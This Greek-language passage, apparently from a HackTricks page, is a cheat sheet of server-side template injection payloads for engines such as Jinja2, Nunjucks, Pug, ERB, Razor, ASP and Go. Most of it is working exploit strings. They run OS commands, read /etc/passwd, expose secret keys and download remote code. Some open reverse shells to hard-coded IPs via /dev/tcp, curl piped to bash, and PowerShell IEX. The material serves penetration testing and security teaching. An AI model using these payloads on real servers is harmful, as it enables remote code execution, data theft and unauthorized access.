with%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Περισσότερες πληροφορίες
JsRender (NodeJS)
Πρότυπο | Περιγραφή |
---|---|
Αξιολόγηση και απεικόνιση εξόδου | |
Αξιολόγηση και απεικόνιση κωδικοποιημένης σε HTML εξόδου | |
Σχόλιο | |
και | Επιτρέπει κώδικα (απενεργοποιημένος από προεπιλογή) |
- = 49
Πλευρά Πελάτη
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Πλευρά Διακομιστή
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Περισσότερες πληροφορίες
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Παράδειγμα απόδοσης στην πλευρά του διακομιστή
var pugjs = require('pug');
home = pugjs.render(injected_page)
Περισσότερες πληροφορίες
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Χωρίς έξοδο
- #{7*7} = #{7*7}
- {{console.log(1)}} = Σφάλμα
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
Περισσότερες πληροφορίες
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Σφάλμα
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Περισσότερες πληροφορίες
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Περισσότερες πληροφορίες
Python
Ρίξτε μια ματιά στην παρακάτω σελίδα για να μάθετε κόλπα σχετικά με την αυθαίρετη εκτέλεση εντολών παρακάμπτοντας τις αμμοθυρίδες στην Python:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Tornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Περισσότερες πληροφορίες
Jinja2 (Python)
Το Jinja2 είναι ένα πλήρως λειτουργικό σύστημα προτύπων για τη γλώσσα προγραμματισμού Python. Διαθέτει πλήρη υποστήριξη Unicode, προαιρετικό ολοκληρωμένο περιβάλλον εκτέλεσης με αμμόλοφο, ευρεία χρήση και άδεια BSD.
{{7*7}} = Σφάλμα
${7*7} = ${7*7}
{{foobar}} Τίποτα
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Μορφή Προτύπου
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE δεν εξαρτάται από __builtins__
:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Περισσότερες λεπτομέρειες σχετικά με το πώς να εκμεταλλευτείτε το Jinja:
{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}
Άλλα payloads στο https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Περισσότερες πληροφορίες
Razor (.Net)
@(2+2) <= Επιτυχία
@() <= Επιτυχία
@("{{code}}") <= Επιτυχία
@ <= Επιτυχία
@{} <= ΣΦΑΛΜΑ!
@{ <= ΣΦΑΛΜΑ!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");
Η μέθοδος .NET
System.Diagnostics.Process.Start
μπορεί να χρησιμοποιηθεί για να ξεκινήσει οποιαδήποτε διεργασία στον διακομιστή και έτσι να δημιουργήσει ένα webshell. Μπορείτε να βρείτε ένα παράδειγμα ευπαθούς webapp στο https://github.com/cnotin/RazorVulnerableApp
Περισσότερες πληροφορίες
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Τίποτα<%= response.write(date()) %>
= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Περισσότερες Πληροφορίες
Mojolicious (Perl)
Ακόμα κι αν είναι perl χρησιμοποιεί ετικέτες όπως το ERB στη Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Σφάλμα
<%= perl code %>
<% perl code %>
SSTI στο GO
Στη μηχανή προτύπων του Go, η επιβεβαίωση της χρήσης της μπορεί να γίνει με συγκεκριμένα φορτία:
{{ . }}
: Αποκαλύπτει τη δομή δεδομένων εισόδου. Για παράδειγμα, αν περάσει ένα αντικείμενο με ένα χαρακτηριστικόPassword
, το{{ .Password }}
θα μπορούσε να το αποκαλύψει.{{printf "%s" "ssti" }}
: Αναμένεται να εμφανίσει τη συμβολοσειρά "ssti".{{html "ssti"}}
,{{js "ssti"}}
: Αυτά τα φορτία θα πρέπει να επιστρέψουν "ssti" χωρίς να προσθέσουν "html" ή "js". Περαιτέρω οδηγίες μπορούν να εξερευνηθούν στην τεκμηρίωση του Go εδώ.
Εκμετάλλευση XSS
Με το πακέτο text/template
, το XSS μπορεί να είναι απλό εισάγοντας το φορτίο απευθείας. Αντίθετα, το πακέτο html/template
κωδικοποιεί την απόκριση για να το αποτρέψει αυτό (π.χ., {{"<script>alert(1)</script>"}}
οδηγεί σε <script>alert(1)</script>
). Ωστόσο, ορισμός προτύπου και κλήση στο Go μπορεί να παρακάμψει αυτήν την κωδικοποίηση: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
Εκμετάλλευση RCE
Η εκμετάλλευση RCE διαφέρει σημαντικά μεταξύ html/template
και text/template
. Το πρόσθετο text/template
επιτρέπει την κλήση οποιασδήποτε δημόσιας συνάρτησης απευθείας (χρησιμοποιώντας την τιμή "call"), που δεν επιτρέπεται στο html/template
. Η τεκμηρίωση για αυτά τα πρόσθετα είναι διαθέσιμη εδώ για το html/template και εδώ για το text/template.
Για RCE μέσω SSTI στο Go, μπορούν να κληθούν μεθόδοι αντικειμένου. Για παράδειγμα, αν το παρεχόμενο αντικείμενο έχει μια μέθοδο System
που εκτελεί εντολές, μπορεί να εκμεταλλευτεί ως {{ .System "ls" }}
. Συνήθως είναι απαραίτητη η πρόσβαση στον πηγαίο κώδικα για να εκμεταλλευτεί αυτό, όπως στο δεδομένο παράδειγμα:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Περισσότερες πληροφορίες
- https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html
- https://www.onsecurity.io/blog/go-ssti-method-research/
Περισσότερες Εκμεταλλεύσεις
Ελέγξτε το υπόλοιπο του https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection για περισσότερες εκμεταλλεύσεις. Επίσης, μπορείτε να βρείτε ενδιαφέρουσες πληροφορίες ετικετών στο https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
Σχετική Βοήθεια
Αν πιστεύετε ότι θα μπορούσε να είναι χρήσιμο, διαβάστε:
Εργαλεία
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Λίστα Ανίχνευσης Βίας
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Πρακτική & Αναφορές
- https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
RootedCON είναι το πιο σχετικό συνέδριο κυβερνοασφάλειας στην Ισπανία και ένα από τα πιο σημαντικά στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο αποτελεί έναν ζωντανό σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πεδίο.
{% embed url="https://www.rootedcon.com/" %}
Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα τηλεγράφου ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια στο GitHub.